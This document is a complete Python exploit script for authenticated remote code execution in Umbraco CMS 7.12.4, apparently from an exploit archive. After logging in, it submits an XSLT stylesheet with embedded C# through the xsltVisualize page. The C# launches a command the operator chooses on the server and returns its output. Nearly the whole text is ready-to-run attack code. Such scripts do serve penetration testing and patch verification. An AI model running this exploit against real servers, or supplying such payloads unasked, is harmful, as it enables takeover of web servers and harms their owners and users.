Umbraco CMS 7.12.4 Remote Code Execution

`# Exploit Title: Umbraco CMS - Authenticated Remote Code Execution   
# Date: 2020-03-28  
# Exploit Author: Alexandre ZANNI (noraj)  
# Based on: https://www.exploit-db.com/exploits/46153  
# Vendor Homepage: http://www.umbraco.com/  
# Software Link: https://our.umbraco.com/download/releases  
# Version: 7.12.4  
# Category: Webapps  
# Tested on: Windows IIS  
# Example: python exploit.py -u [email protected] -p password123 -i 'http://10.0.0.1' -c ipconfig  
  
import requests  
import re  
import argparse  
  
from bs4 import BeautifulSoup  
  
parser = argparse.ArgumentParser(prog='exploit.py',  
description='Umbraco authenticated RCE',  
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80))  
parser.add_argument('-u', '--user', metavar='USER', type=str,  
required=True, dest='user', help='username / email')  
parser.add_argument('-p', '--password', metavar='PASS', type=str,  
required=True, dest='password', help='password')  
parser.add_argument('-i', '--host', metavar='URL', type=str, required=True,  
dest='url', help='root URL')  
parser.add_argument('-c', '--command', metavar='CMD', type=str, required=True,  
dest='command', help='command')  
parser.add_argument('-a', '--arguments', metavar='ARGS', type=str, required=False,  
dest='arguments', help='arguments', default='')  
args = parser.parse_args()  
  
# Payload  
payload = """\  
<?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "%s"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "%s"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\  
""" % (args.arguments, args.command)  
  
login = args.user  
password = args.password  
host = args.url  
  
# Process Login  
url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"  
loginfo = { "username": login, "password": password}  
s = requests.session()  
r2 = s.post(url_login,json=loginfo)  
  
# Go to vulnerable web page  
url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx"  
r3 = s.get(url_xslt)  
  
soup = BeautifulSoup(r3.text, 'html.parser')  
VIEWSTATE = soup.find(id="__VIEWSTATE")['value']  
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']  
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']  
headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN}  
data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE,  
"__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR,  
"ctl00$body$xsltSelection": payload,  
"ctl00$body$contentPicker$ContentIdValue": "",  
"ctl00$body$visualizeDo": "Visualize+XSLT" }  
  
# Launch the attack  
r4 = s.post(url_xslt, data=data, headers=headers)  
# Filter output  
soup = BeautifulSoup(r4.text, 'html.parser')  
CMDOUTPUT = soup.find(id="result").getText()  
print(CMDOUTPUT)  
`